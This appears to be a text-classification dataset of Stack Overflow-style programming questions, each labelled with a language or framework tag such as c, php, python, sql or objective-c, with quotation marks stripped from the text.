c error: pointer expected  i made a simple program in c that finds if a number is prime. i am new to c and decided to try to use scanf instead of hardcoded numbers to check. when i run my code:   <pre><code>#include &lt;stdio.h&gt; typedef int bool; #define true 1 #define false 0 int main(){   //i am going to check if the  checking  variable is a prime   int checking;    scanf( %d  checking);    // stopper  is where the for loop will stop   int stopper = checking**0.5 + 1;    // found  will show if i have found something bad   bool found = false;    for (int i = 2; i &lt; stopper; i++)   {     if (checking % i == 0){found = true; break;}   }    if (!found) {printf( it is prime );}   else {printf( it is not prime );}  } </code></pre>   when i try to compile this with tcc it gives the error (primes.c is the name of the document)   <pre><code>primes.c:12 error: pointer expected </code></pre>   i don t know how to fix this.    edit: i just made stopper = checking/2 and the program crashes,c
shorten if else statement using php  i have a question about shorten if else statement. i am trying to make a weather application using <a href= https://openweathermap.org/weather-conditions  rel= nofollow noreferrer >openweathermap</a> api. but i don t like those icons. i want to change the icons like this:   <pre><code>if($desc ==  clear sky ){   $weather_icon =  clear_sky.png ; }else if($desc ==  few clouds ){   $weather_icon =  few_clouds.png ; }else if($desc ==  scattered clouds ){   $weather_icon =  scattered_clouds.png ; }else if($desc ==  broken clouds ){   $weather_icon =  broken_clouds.png ; }else if($desc ==   ){   ..... } ...... </code></pre>   so my question is how can i do this with shorten if else or do you have any idea to use different thinks,php
how to align 4 div s right of each other within another div  i want to position 4 divs next to each other  at a certain position within the parent div. so the div structure is this (i ll call the top most div the maindiv):   <pre><code>&lt;div&gt;     &lt;div&gt;1&lt;/div&gt;     &lt;div&gt;2&lt;/div&gt;     &lt;div&gt;3&lt;/div&gt;     &lt;div&gt;4&lt;/div&gt; &lt;/div&gt; </code></pre>   now i want to set div with text  1  at the left in the maindiv    now i want to set div with text  2  at 50 px from the left side in the maindiv    now i want to set div with text  3  at 150 px from the left side in the maindiv    now i want to set div with text  4  at 200 px from the left side in the maindiv    i think :-) i have tried all possible css constructs  but it didn t work  sadly.    anyone an idea,css
valueerror: the truth value of an array with more than one element is ambiguous. use a.any() or a.all(  i am having an issue with my code . the code is suppose to find the linear potential (v) in a box. it is giving an error that i have not seen before.  while the code where the error seems logical. could anyone explain why is is happening where   if delta0 > delta      thank you in advance     here is my code   <pre><code>           # -*- coding: utf-8 -*-     created on thu oct 22 11:32:00 2015  @author: 50073507      import numpy as np  import matplotlib.pyplot as plt import matplotlib.cm as cm  from mpl_toolkits.mplot3d import axes3d  np.set_printoptions(formatter={ float :  {: 0.2f}  . format})  def relax(v):     return (v[i-1 j] + v[i+1  j]  + v[i j-1] + v[i j+1])   tolerance = 1.e-6 delta = 1.0 nx =7 ny = 7  v = np.zeros([nx ny]) v[: 0] = -1 v[: -1] = 1 v[0 :] = np.linspace(-1 1 nx) v[ny-1 :] = np.linspace(-1 1 nx)  print( starting values ) print(v)  iteration = 0  while delta &gt; tolerance:     delta = 0     for i in range(1 nx-1):         for j in range(1 ny-1):             newvij = relax(v)             delta0 = np.abs(newvij - v[i j])             if delta0 &gt; delta:                 delta = delta0             v[i j] = newvij         iteration += 1         print ( iteration   iteration)         print(v)   x = np.linspace(-1 1 nx) y=  np.linspace(-1 1 ny) x  y = np.meshgrid(x y)  fig = plt.figure() ax = fig.add_subplot(111  projection =  3d ) surf = ax.plot_surface(x  y  v   alpha = 0.7  cmap = cm.coolwarm) cset = ax.contourf(x y v zdir= v  offset=-1 cmap=cm.coolwarm) plt.show()   ey  ex = np.gradient(-v)  fig   ax = plt.subplots() ax.quiver(x y  ex  ey  y) ax.set(aspects = 1  title =  eletric field ) plt.axis([-1.05  1.05 -1.05 1.05]) plt.show()         </code></pre>,python
access to iphone music library  i m planning to develop kind of dj application which loads musics from music library. and of course it ll sell in app store.    so question is  does it possible distribute in appstore     i found it was forbidden at least about 6 month ago... but i hope it is possible now...,iphone
how to check cd or dvd in dvd-ram drive in java  i wrote how to detect this drive but not able to check whether it is a cd or dvd  in dvd-ram drive in java,java
how to access associate param value in the belongs to controller   im trying to access rse value which is an accounts controller strong parameter. and i m trying to access it in tlp controller which is a class that belongs to accounts. and accounts belongs to a user.    here is my counsel command that lets me access it.   <pre><code>user.accounts.where(id: 13)[0].ase </code></pre>   im very new to rails and i need help translating this command too where i can get that value in my tlp controller.    i know you can create an array then search it but i don t how i would go about creating that array in the tlp controller since it is not directly associated to users...,ruby-on-rails
python - extracting a character from an integer  i m trying to make an algorithm in python that asks you to insert a number and then it prints the hundreds  dozens and units from the number inserted.    what i was thinking to do is to extract the character from the number that corresponds to the hundreds and print it as hundreds  as well with the dozens and units.    for instance  what i ve tried to do so far was:   <pre><code>number = 321  print  hundreds:    number[1] </code></pre>   however  when i tried to run that  i got the message:   <pre><code>typeerror:  int  object is not subscriptable </code></pre>   is it impossible to do what i want,python
java - runtime.freememory()  i was trying to see usage of runtime.freememory().    documentation  says it  returns the amount of free memory in the java virtual machine     i executed a simple program test this. program below:   <pre><code>public class test {   public static void main(string a[]) throws exception {     system.out.println( total memory:   +runtime.getruntime().totalmemory());     system.out.println( free memory:   +runtime.getruntime().freememory());     integer intarr[]= new integer[10000];     for(int i =0; i&lt;10000;i++){         intarr[i] = new integer(i+500);     }     system.out.println( free memory:   +runtime.getruntime().freememory());     system.out.println( sample print : + intarr[0]);     system.out.println( sample print : + intarr[5000]);     system.out.println( sample print : + intarr[9999]);  }   } </code></pre>   output:    total memory: 67108864    free memory: 61822408  &lt; before allocating 10000 objects>    free memory: 61822408  &lt; size remains same even after allocating 10000 objects. why >    sample print :500    sample print :5500    sample print :10499    since the objects are created on heap  the  free memory  value printed second time should be less than the first output  right     but it prints same value. can anyone please explain why it print same value,java
how to fix a memory size for my application in c   i would like to allocate a fixed memory for my application (developed using c). say my application should not cross 64mb of memory occupation.  and also i should avoid to use more cpu usage.  how it is possible     regards marcel.,c
how to listen keydown event in android on desktop  i have a view that  shown in the desktop by windowmanager.addview method  from a service handler    now i want to listen the  back key down  event so that i can hide this view by windowmanager.removeview method.    i have tried binding a key listener on my view but it did  not work.    <pre><code>tipview.setonkeylistener(new view.onkeylistener() {      @override     public boolean onkey(view v  int keycode  keyevent event) {          if(keycode == keyevent.keycode_back &amp;&amp; isshow){             message msg = new message();             msg.what = handler_action_hide_tip;             mainhandler.sendmessage(msg);         }          return false;     } }); </code></pre>   i make a breakpoint on the line of  if...   but i can t see any event into here when i debug the app and on the phones desktop with pressing times of  back key .    so  can i do this or not  and  why,android
customizing border properties using zigzag edges  i am trying to create a web page that looks like like in this site:    <a href= http://dribbble.com/shots/805937-minimalist-invoice  rel= nofollow >http://dribbble.com/shots/805937-minimalist-invoice</a>    overview of why i need the design to be static: i am trying to create a website that has the same concept as that of an ecommerce website. so every time i update a new item on my list  it will be displayed inside a table and so on.    i tried creating an image with that design using photoshop(the one in the middle with a white background and pointy edges on the top and bottom) but the result is that the image is static and does not dynamically change when the content of the page changes.    i do not know if i can implement the design by customizing the borders using pure html code.    i tried using the image-border property of css  but it still has horizontal borders on the edges. i also used the background image property  but the result is that it is static and does not change when an update in the items changes.     thanks for all the help.,css
how does this double recursive call display the data c++  i am unsure how the following code displays the data that is in rchild and lchild. before it gets to the display code  the function is called with the paramater ptr-rchild passed. so wouldn t the display code never get a chance to execute since there is always a function call before the display code. also  when the function gets called again but this time the parameter is lchild  how does it display the data in lchild when the first function call with the parameter rchild is there.   <pre><code>void ctree::displaytree(personrec * ptr) {     if (ptr != null)     {         displaytree(ptr-&gt;rchild);         cout &lt;&lt;  name:   &lt;&lt; ptr-&gt;name &lt;&lt;  \t  &lt;&lt;  bribe offered:   &lt;&lt; ptr-&gt;bribe &lt;&lt; endl;         displaytree(ptr-&gt;lchild);     }  } </code></pre>,c++
detecting position tapped with uitapgesturerecognizer  hi so i was wondering if there was any way possible to get the position that was touched using uitapgesturerecognizer to recognize taps on the background.   <pre><code>-(void)handletapgesture:(uitapgesturerecognizer *)sender { if (sender.state == uigesturerecognizerstaterecognized) {     if ( bomb == nil)     {         bomb = [[uiimageview alloc] initwithimage:[uiimage imagenamed:@ bomb.png ]];         bomb.center = cgpointmake(10  1);         bomb.frame = cgrectmake(113 123 67 67);         [self.view addsubview:bomb];         //[self performselector:@selector(update) withobject:nil afterdelay:1];         nslog(@ spawned bomb );         timer = [nstimer scheduledtimerwithtimeinterval:.01 target:self selector:@selector(dropbomb) userinfo:nil repeats:yes];     } } } </code></pre>,objective-c
is there a built-in number to word converter in .net  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/554314/how-can-i-convert-an-integer-into-its-verbal-representation >how can i convert an integer into its verbal representation </a>    </blockquote>     is there a built-in number to word converter in .net  for example  5 would become  five  if the current culture is english.,.net
how do i get first and last year of this decade in objective-c   how do i get first and last year of this decade   can someone pls help me regarding this      i can get 1st last date of this year  but what about this decade  here is my code   <pre><code>[dateformat setdateformat:@ yyyy ];         nsstring *thedateformatted = [dateformat stringfromdate: sdate];          thedateformatted = [nsstring stringwithformat:@ %@%@   thedateformatted  @ -01-01 12:00:00 am ];          // set last of month         nsstring *thedateformattede = [dateformat stringfromdate: sdate];         thedateformattede = [nsstring stringwithformat:@ %@%@   thedateformattede  @ -12-31 11:59:59 pm ];          [dateformat setdateformat:@ yyyy-mm-dd hh:mm:ss a ];         edate = [dateformat datefromstring:thedateformattede];         sdate = [dateformat datefromstring:thedateformatted];          uialertview *alert = [[uialertview alloc] initwithtitle:@ db status  message: thedateformattede delegate:nil cancelbuttontitle:@ ok  otherbuttontitles:nil];         [alert show]; </code></pre>,objective-c
how to convert json string to nsdictionary on json parser framework on objective c  i am trying to convert raw json string to nsdictionary. but on nsdictionary i got different order of objects as on json string but i need exactly same order in nsdictionary as on json string. following is code i have used to convert json string    <pre><code> sbjson *objjson = [[sbjson alloc] init];  nserror *error = nil;  nsdictionary *dictresults = [objjson objectwithstring:jsonstring error:&amp;error]; </code></pre>,objective-c
can my format be improved in anyway  <pre><code>    declare   num_of_payments number(2);           payment_num number(2);              start_date date;                     date_due date;                       monthly_payment_amt number(8 2);     donation_balance number(8 2);        pledgeamt number(8 2);              begin    select pledgeamt  pledgedate  paymonths into pledgeamt  start_date  num_of_payments   from dd_pledge     where idpledge = &amp;idpledge;    monthly_payment_amt := pledgeamt / num_of_payments;     date_due := start_date;   donation_balance := (pledgeamt - monthly_payment_amt);   payment_num := 0;    for i in 1..num_of_payments loop   payment_num := payment_num +1;     date_due := add_months(date_due 1);    dbms_output.put_line( payment number:   || payment_num ||   due date:   || date_due ||   payment amount:   || monthly_payment_amt ||   balance:    || to_char(donation_balance  $9999.99 )); donation_balance := donation_balance - monthly_payment_amt;    exit when donation_balance &lt; 0; --loop until condition is met end loop; end; </code></pre>   i just want to know if my code is formatted well or should i change some things up  it works and all  just feel it looks messy and not clean.,sql
calling one html file from another  hi i am creating a webpage that is going to input data into a table and i have to dynamically change the column span of the table regarding on a property.     i was looking to take the html code to create the table out of the original document and add it in to the original document when the page is loaded.     here is the original file:    <pre><code>    &lt;!doctype html&gt;     &lt;html&gt;     &lt;head&gt;         &lt;link href= tt.css  rel= stylesheet  /&gt;         &lt;script src= jquery-1.11.0.min.js &gt;&lt;/script&gt;         &lt;script src= tt2.js &gt;&lt;/script&gt;         &lt;title&gt;timetable&lt;/title&gt;     &lt;/head&gt;     &lt;body&gt;         &lt;h1&gt;timetable&lt;/h1&gt;         &lt;div id= controls &gt;enter module code:&lt;input value=   id= module /&gt;             &lt;button id= getmodule &gt;search module code&lt;/button&gt;         &lt;/div&gt;         &lt;table id= fixeddetails &gt;             &lt;caption&gt;fixed details&lt;/caption&gt;             &lt;tr&gt;&lt;th&gt;module code&lt;/th&gt;&lt;td id= modulecode &gt;&lt;/td&gt;&lt;/tr&gt;             &lt;tr&gt;&lt;th&gt;module name&lt;/th&gt;&lt;td id= modulename &gt;&lt;/td&gt;&lt;/tr&gt;             &lt;tr&gt;&lt;th&gt;module leader&lt;/th&gt;&lt;td id= moduleleader &gt;&lt;/td&gt;&lt;/tr&gt;             &lt;tr&gt;&lt;th&gt;credit value&lt;/th&gt;&lt;td id= credit &gt;&lt;/td&gt;&lt;/tr&gt;     &lt;tr&gt;&lt;th&gt;school name&lt;/th&gt;&lt;td id= schoolname &gt;&lt;/td&gt;&lt;/tr&gt;                 &lt;/table&gt;         &lt;script src= table.html &gt;&lt;/script&gt;     &lt;/body&gt;     &lt;/html&gt; </code></pre>   this is the code for my table:   <pre><code>    &lt;!doctype html&gt;     &lt;html&gt;     &lt;table id= schedule &gt;             &lt;caption&gt;schedule&lt;/caption&gt;             &lt;tr&gt;&lt;th id= blank &gt;&lt;/th&gt;&lt;th&gt;09&lt;/th&gt;&lt;th&gt;10&lt;/th&gt;&lt;th&gt;11&lt;/th&gt;&lt;th&gt;12&lt;/th&gt;&lt;th&gt;13&lt;/th&gt;&lt;th&gt;14&lt;/th&gt;&lt;th&gt;15&lt;/th&gt;&lt;th&gt;16&lt;/th&gt;&lt;th&gt;17&lt;/th&gt;&lt;/tr&gt;             &lt;tr&gt;&lt;th&gt;mon&lt;/th&gt;&lt;td id= mon09 &gt;&lt;/td&gt;&lt;td id= mon10 &gt;&lt;/td&gt;&lt;td id= mon11 &gt;&lt;/td&gt;&lt;td id= mon12 &gt;&lt;/td&gt;&lt;td id= mon13 &gt;&lt;/td&gt;&lt;td id= mon14 &gt;&lt;/td&gt;&lt;td id= mon15 &gt;&lt;/td&gt;&lt;td id= mon16 &gt;&lt;/td&gt;&lt;td id= mon17 &gt;&lt;/td&gt;&lt;/tr&gt;             &lt;tr&gt;&lt;th&gt;tue&lt;/th&gt;&lt;td id= tue09 &gt;&lt;/td&gt;&lt;td id= tue10 &gt;&lt;/td&gt;&lt;td id= tue11 &gt;&lt;/td&gt;&lt;td id= tue12 &gt;&lt;/td&gt;&lt;td id= tue13 &gt;&lt;/td&gt;&lt;td id= tue14 &gt;&lt;/td&gt;&lt;td id= tue15 &gt;&lt;/td&gt;&lt;td id= tue16 &gt;&lt;/td&gt;&lt;td id= tue17 &gt;&lt;/td&gt;&lt;/tr&gt;             &lt;tr&gt;&lt;th&gt;wed&lt;/th&gt;&lt;td id= wed09 &gt;&lt;/td&gt;&lt;td id= wed10 &gt;&lt;/td&gt;&lt;td id= wed11 &gt;&lt;/td&gt;&lt;td id= wed12 &gt;&lt;/td&gt;&lt;td id= wed13 &gt;&lt;/td&gt;&lt;td id= wed14 &gt;&lt;/td&gt;&lt;td id= wed15 &gt;&lt;/td&gt;&lt;td id= wed16 &gt;&lt;/td&gt;&lt;td id= wed17 &gt;&lt;/td&gt;&lt;/tr&gt;             &lt;tr&gt;&lt;th&gt;thu&lt;/th&gt;&lt;td id= thu09 &gt;&lt;/td&gt;&lt;td id= thu10 &gt;&lt;/td&gt;&lt;td id= thu11 &gt;&lt;/td&gt;&lt;td id= thu12 &gt;&lt;/td&gt;&lt;td id= thu13 &gt;&lt;/td&gt;&lt;td id= thu14 &gt;&lt;/td&gt;&lt;td id= thu15 &gt;&lt;/td&gt;&lt;td id= thu16 &gt;&lt;/td&gt;&lt;td id= thu17 &gt;&lt;/td&gt;&lt;/tr&gt;             &lt;tr&gt;&lt;th&gt;fri&lt;/th&gt;&lt;td id= fri09 &gt;&lt;/td&gt;&lt;td id= fri10 &gt;&lt;/td&gt;&lt;td id= fri11 &gt;&lt;/td&gt;&lt;td id= fri12 &gt;&lt;/td&gt;&lt;td id= fri13 &gt;&lt;/td&gt;&lt;td id= fri14 &gt;&lt;/td&gt;&lt;td id= fri15 &gt;&lt;/td&gt;&lt;td id= fri16 &gt;&lt;/td&gt;&lt;td id= fri17 &gt;&lt;/td&gt;&lt;/tr&gt;         &lt;/table&gt;     &lt;/html&gt; </code></pre>   my problem is i don t know how to connect the two documents together,html
iphone location service - how to get data   is it possible to get location of iphone that has location services on  when i don t know user login data without installing anything on device,iphone
user authentication issue  i need to develop module which will authenticate a company user on local systems. my company vendors using card + vpn connect to our network. i found that lsa authentication is exactly what i need  but it so complex what i am having difficulty to understand what is going on.     could any one describe flow and methods which i need to use to get a desired results. so all i need is to get authenticated user domain and username. or maybe someone could suggest another option.    thanks!,.net
determining the largest value before hitting infinity  i have this very simple function that checks the value of (n^n-1)^(n-2):   <pre><code>int main() {   // declare variables  double n;  double answer;   // function  cout &lt;&lt;  please enter a double number &gt;= 3:  ;  cin &gt;&gt; n;   answer = pow(n (n-1)*(n-2));  cout &lt;&lt;  n to the n-1) to the n-2 for doubles is   &lt;&lt; answer &lt;&lt; endl; } </code></pre>   based on this formula  it is evident it will reach to infinity  but i am curious until what number/value of n would it hit infinity  using a loop seems extremely inefficient  but that s all i can think of. basically  creating a loop that says let n be a number between 1 - 100  iterate until n == inf    is there a more efficient approach to this problem,c++
ignore unset variable error in php strict  i m programming a add/edit form on my local dev machine which is in strict mode. depending on how the user reaches this form they may or may not have an array set contains form information. problem is that if i fill in the inputs using <code>&lt; = $array[ name ]  &gt;</code> and they don t have it set every input gets an error. i d like to just do something quick and simple  since there are a lot of inputs across several pages. previously i ve used <code>&lt; = @$array[ name ]  &gt;</code> but am hoping for a better solution  once that doesn t require me to type <code>&lt; = (isset($array[ name ]) $array[ name ]:  )  &gt;</code> out for every input (imagine the possibility for typos).    i d like to keep the undefined message on  because it is useful elsewhere  it s only on specific variables (specifically a single array on the page) that i don t want the message to display. google hasn t come up with a good solution  most answers being to change error reporting level.,php
c# use a string to hide an image  so i need to hide one of the panels named imgx  x being a number from 1 to infinity. every image has a button next to it with the text x  x being the same number as the x from the img name. so i need to somehow use the number x to hide the corresponding img. any help     edit: i managed to get it working  i used this piece of code and it worked:<br> <code>string ctrlname = ((control)sender).text; panel tbx = this.controls.find( img  + ctrlname  true).firstordefault() as panel; tbx.hide();</code>,c#
servertag not well formed  can t see whats wrong   okay i m almost about to quit this asp.net shyte.. ;( i usually code clients and everything is very straightforward.. but this! !     i don t know how many problems i ahde to work my way through... anyways i get a parser error  server tag not well formed.    i have been searching the net for a couple of hour  the tips i found range from telling me too use single quotes  to retire as a programmer...     im trying to display a group of radiobuttons  with data fetched from my database.    codebehind looks like this..   <pre><code>protected void fillrepeater()     {         mysqlconnection con = new mysqlconnection(@ server=hide.my.url;database=no_database;uid=topsecretuser;pwd=topsecret );         con.open();        //clientscript.registerstartupscript(this.gettype()   myalert    alert(   + con.state +   );   true);          string sqlq =  select * from t_domains ;          mysqlcommand mycommand = new mysqlcommand(sqlq  con);          mysqldatareader datareader = mycommand.executereader();         repeater1.datasource = datareader;         repeater1.databind();         con.close();      } </code></pre>   this is my html. i havent implemented my table rows/cells yet.. (so don t remind me) ;)   <pre><code>  repeater data!&lt;br /&gt;     &lt;asp:repeater id= repeater1  runat= server &gt;     &lt;headertemplate&gt;       &lt;table&gt;       &lt;/headertemplate&gt;     &lt;itemtemplate&gt;      &lt;asp:radiobutton id= radiobutton1  runat= server  groupname= &lt;%#databinder.eval(container.dataitem   idtag_domain ) %&gt;  value= 50  text= free access  onclick= calculateprice();disabletb(this.name);   /&gt;      &lt;br /&gt;     &lt;asp:radiobutton id= radiobutton2   groupname= &lt;%#databinder.eval(container.dataitem   idtag_domain ) %&gt;           text= once a day(30/month)  value= 25  onclick= calculateprice();disabletb(this.name);  /&gt;          &lt;br /&gt;     &lt;asp:radiobutton id= radiobutton3  groupname= &lt;%#databinder.eval(container.dataitem   idtag_domain ) %&gt;   value= 0          text= enter number of articles  onclick= enabletb(this.name  this.checked)  /&gt;          &lt;br /&gt;     &lt;asp:textbox id= textbox  name= &lt;%#databinder.eval(container.dataitem   idtag_domain ) %&gt;  enabled= false  width= 106px           onkeyup= calculateprice()  style= background-color:#eeeeee  &gt;&lt;/asp:textbox&gt;         &lt;/itemtemplate&gt;     &lt;footertemplate&gt;     &lt;/table&gt;     &lt;/footertemplate&gt;     &lt;/asp:repeater&gt; </code></pre>   error it gives me parser error message: the server tag is not well formed.    source error:   <pre><code>   line 36:   &lt;asp:radiobutton id= radiobutton1  runat= server  groupname=          &lt;%#databinder.eval(container.dataitem   idtag_domain ) %&gt;  value= 50  text= free access  onclick= calculateprice();disabletb(this.name);   /&gt; </code></pre>,asp.net
is there any sample code that allows user the google credentials in their application using oauth in iphone sdk  can any one provide a sample code so that i can login to my application with the google credentials using oauth.,objective-c
projecteuler  8: solution works for example but can t find answer  i am learning c and trying to improve my skills solving project euler exercises. i am stuck with <a href= https://projecteuler.net/problem=8  rel= nofollow >problem 8</a>    this is my code:   <pre><code>  #include &lt;stdio.h&gt;   #include &lt;string.h&gt;   #include &lt;stdin   #define adj_grab 4    uint64_t max_prod;    //takes a char array and returns converted int array   int *arr_atoi(const char nos[]){     static int c_ints[adj_grab];    int nos_len = strlen(nos);     int z;    for (z = 0; z &lt; nos_len; z++)     c_ints[z] = nos[z] -  0 ;     return c_ints;   }    //returns the sum of the adjacent digits   void check_sum(const char nos[]){        extern uint64_t max_prod;       uint64_t c_prod = 1;       int *tc_ints = arr_atoi(nos);        int z;       for (z = 0; z &lt; adj_grab; z++)           c_prod *= *(tc_ints + z);        max_prod = c_prod &gt; max_prod   c_prod : max_prod;   }    int main(void)   {       //define the number list  its length and a buffer to hold adjacent digits.     char *no_list =         73167176531330624919225119674426574742355349194934          96983520312774506326239578318016984801869478851843          85861560789112949495459501737958331952853208805511          12540698747158523863050715693290963295227443043557          66896648950445244523161731856403098711121722383113          62229893423380308135336276614282806444486645238749          30358907296290491560440772390713810515859307960866          70172427121883998797908792274921901699720888093776          65727333001053367881220235421809751254540594752243          52584907711670556013604839586446706324415722155397          53697817977846174064955149290862569321978468622482          83972241375657056057490261407972968652414535100474          82166370484403199890008895243450658541227588666881          16427171479924442928230863465674813919123162824586          17866458359124566529476545682848912883142607690042          24219022671055626321111109370544217506941658960408          07198403850962455444362981230987879927244284909188          84580156166097919133875499200524063689912560717606          05886116467109405077541002256983155200055935729725          71636269561882670428252483600823257530420752963450 ;     int list_len = strlen(no_list);     char tmp_buff[adj_grab+1];      //iterate over the number list     int z;     for (z = 0; z &lt; list_len; z++){         //take adj_grab adjacent numbers and check their product         if ((z + adj_grab) &lt; list_len){             strncpy_s(tmp_buff  adj_grab + 1  no_list + z  adj_grab);             check_sum(tmp_buff);         }       }        printf( %u\n   max_prod);        system( pause );       return 0;   } </code></pre>   you can change how many adjacent digits you test by modifying adj_grab. if you run it with four  as in the problem s example  the product is 5832 (which is the correct product) but if you run it with 13  the product is not correct.    thank you.,c
java pass by reference vs pass by value trouble  why am i getting an error in the pass by reference example <code>obj1.add200really</code> is underlined   <pre><code>public class test {      private int number;      test(){         number = 1;     }      public static void main(string[] args) {         test obj1 = new test();         system.out.println( the number is   + obj1.number);         system.out.println( the number 1 plus 200 is   + obj1.add200(obj1.number));         system.out.println( while the number is still   + obj1.number);         system.out.println( \n );         system.out.println( the number is   + obj1.number);         system.out.println( the number 1 plus 200 is   + obj1.add200really(obj1.number));         system.out.println( while the number is still   + obj1.number);     }   int add200(int somenumber){     somenumber = somenumber + 200;     return somenumber; } int add200really(test myobj){     myobj.number = 999;     return myobj.number; } } </code></pre>,java
registration form issue  the problem i m having is that the  tag isn t allowing for any text to be placed within it. the error that it iss displaying now is <code>text not allowed in element &lt;ul&gt; in this context</code>. how am i meant to place these items into an un-ordered list without it  the code i have is below:   <pre><code>@extends( layouts.default )  @section( content ) &lt;h1&gt;register &lt;/h1&gt;  @if($errors-&gt;has())     &lt;p&gt;the following errors have occurred:&lt;/p&gt;      ***&lt;ul id= form-errors &gt;          {{ $errors-&gt;first( username    &lt;li&gt;:message&lt;/li&gt; ) }}         {{ $errors-&gt;first( password    &lt;li&gt;:message&lt;/li&gt; ) }}          {{ $errors-&gt;first( password_confirmation    &lt;li&gt;:message&lt;/li&gt; ) }}         {{ $errors-&gt;first( email    &lt;li&gt;:message&lt;/li&gt; ) }}      &lt;/ul&gt;*** @endif  {{ form:open( register    post ) }}  &lt;p&gt;     {{ form::label( username    username ) }}&lt;br /&gt;     {{ form::text( username   input::old( username ) }} &lt;/p&gt;  &lt;p&gt;     {{ form::label( password    password ) }}&lt;br /&gt;     {{ form::password( password  }} &lt;/p&gt;  &lt;p&gt;     {{ form::label( password    confirm password ) }}&lt;br /&gt;     {{ form::password( password_confirmation  }} &lt;/p&gt;  &lt;p&gt;     {{ form::label( email    email address ) }}&lt;br /&gt;     {{ form::text( email ) }} &lt;/p&gt;  &lt;p&gt;{{ form::submit( register ) }}&lt;/p&gt;  {{ form::close()}}  @stop </code></pre>,php
how do i use a string as a stream in .net   i need to call a method that accepts a stream argument. the method loads text into the stream  which would normally be a file. i d like to simply populate a string with the contents of the stream  instead of writing it to a file. how do i do this,.net
sql query returning an extra record  i ve tried both right and inner join  either i end up with an extra record or not record at all. please suggest what to fix in this query.    table structure  event -> day -> session session_attendee   <pre><code>select session.id  (select count(*) from event e inner join day as d on e.id = d.event_id inner join session as s on d.id = s.day_id where e.id = event.id and d.id = day.id) as total  day.date  session.name  session.start  session.end  session.room  (select count(distinct attendee_id) from session s left join session_attendee as sa on s.id = sa.session_id where s.id = session.id) as attendees from event left join day on event.id = day.event_id left join session on day.id = session.day_id left join session_attendee on session.id = session_attendee.session_id where event.id = 12 group by session.id order by day.date  session.start  event.name; </code></pre>   resultset   <pre><code>[ {  id : 9   total : 1   date :  2015-05-12t04:00:00.000z    name :  test    start :  00:55:00    end :  00:55:00    room :  abc    attendees : 0 }  {  id : null   total : 0   date :  2015-05-13t04:00:00.000z    name : null   start : null   end : null   room : null   attendees : 0 } ] </code></pre>,sql
where to put custom array methods or enumerable methods in rails  i have custom array methods like   <pre class= lang-rb prettyprint-override ><code>class array   def decreasing      for i in (0...self.size)       return false if self[i] &gt; self[i+1]     end     true   end    def increasing      for i in (0...self.size)       return false if self[i] &lt; self[i+1]     end     true   end end </code></pre>   and    <pre class= lang-rb prettyprint-override ><code>module enumerable   def sorted      each_cons(2).all  { |a  b| (a &lt;=&gt; b) &lt;= 0 }   end end </code></pre>   currently i have them in a model file randomly. where is a better place to put these codes in rails,ruby-on-rails
string literal uniqueness requirements  i ve always understood that the storage of string literals is implementation defined  so the compiler is free to roll up multiple literals such that  given   <pre><code>static const char* foo =  blah ; static const char* bar =  blah ; </code></pre>   foo and bar can point to the same memory. however  i can t figure out if thats also true when:   <pre><code>static const char foo[] =  blah ; static const char bar[] =  blah ; </code></pre>,c++
nsuserdefaults array not saving properly  i have a problem i cant get my head around. i have an instance of nsuserdefaults and have stored some values in there. one of these values is an array that contains the players scores (its a game) to be used in another display. after the game is finished  i update the array with the new score and reassign it to the nsuserdefaults  but for some reason it doesn t seem to be behaving correctly and in debug when i try to print the count into he console  its always 0.    here is the code in question:   <pre><code>// //  samhighscoreinputviewcontroller.m //  tappity // //  created by sam on 29/05/13. //  copyright (c) 2013 sam. all rights reserved. //  #import  samhighscoreinputviewcontroller.h  #import  samscoreobject.h   @interface samhighscoreinputviewcontroller ()  @end  @implementation samhighscoreinputviewcontroller  - (id)initwithnibname:(nsstring *)nibnameornil bundle:(nsbundle *)nibbundleornil {     self = [super initwithnibname:nibnameornil bundle:nibbundleornil];     if (self) {         // custom initialization     }     return self; }  - (void)viewdidload {     self.defaults = [nsuserdefaults standarduserdefaults];     self.namescorelabel.text = [nsstring stringwithformat:@ %@ - %@   [self.defaults objectforkey:@ lastname ]  [self.defaults objectforkey:@ lastscore ]];     self.nametextfield.text = [self.defaults objectforkey:@ lastname ];      [super viewdidload];    // do any additional setup after loading the view. }  - (void)didreceivememorywarning {     [super didreceivememorywarning];     // dispose of any resources that can be recreated. }      - (ibaction)textfieldvaluechanged:(uitextfield *)sender {      self.namescorelabel.text = [nsstring stringwithformat:@ %@ - %@   self.nametextfield.text  [self.defaults objectforkey:@ lastscore ]];      }  - (ibaction)submitbuttontapped:(uibutton *)sender {        samscoreobject *score = [[samscoreobject alloc] init];      score.playername = self.nametextfield.text;     score.score = [self.defaults integerforkey:@ lastscore ];        nsarray *scores = [self.defaults objectforkey:@ scoresarray ];      nsmutablearray *updatedarray = [scores mutablecopy];      [updatedarray addobject:score];      nsarray *updatedarrayscores = [updatedarray copy];      [self.defaults setobject:updatedarrayscores forkey:@ scoresarray ];      [self.defaults setobject:[self.defaults objectforkey:@ scoresarray ] forkey:@ scoresarray ];      [self.defaults synchronize];       nslog(@ %@  %@   [self.defaults objectforkey:@ lastscore ]  [self.defaults objectforkey:@ lastname ]);     nslog(@ %i   [[self.defaults objectforkey:@ scoresarray ] count]);       [self dismissviewcontrolleranimated:yes completion:nil];      } @end </code></pre>,objective-c
how to reinitialise angular  i have an angular app which uses many services to hold user data. however  when i sign out and sign in another user again  because these services are singleton and didn t get chance to initialise  therefore  these data which is for the previous user still there.     what i can do is emit a  signed-in  message after sign-in   and write a listen in each services to re-initialise  but that is too much effort.     so i　am thinking if there is a way to re-initialise all services or the whole angular app. i know redirect will do this job  but is there a better way     thanks  ron,angularjs
sql query to fetch 3rd lowest value  i have a table called <code>employee_salary</code>  having two columns(emp_id  emp_salary) in it.    i have a requirement to fetch 3rd lowest <code>emp_salary</code> from this table. in this case  what should be my query so that i can get the exact value.,sql
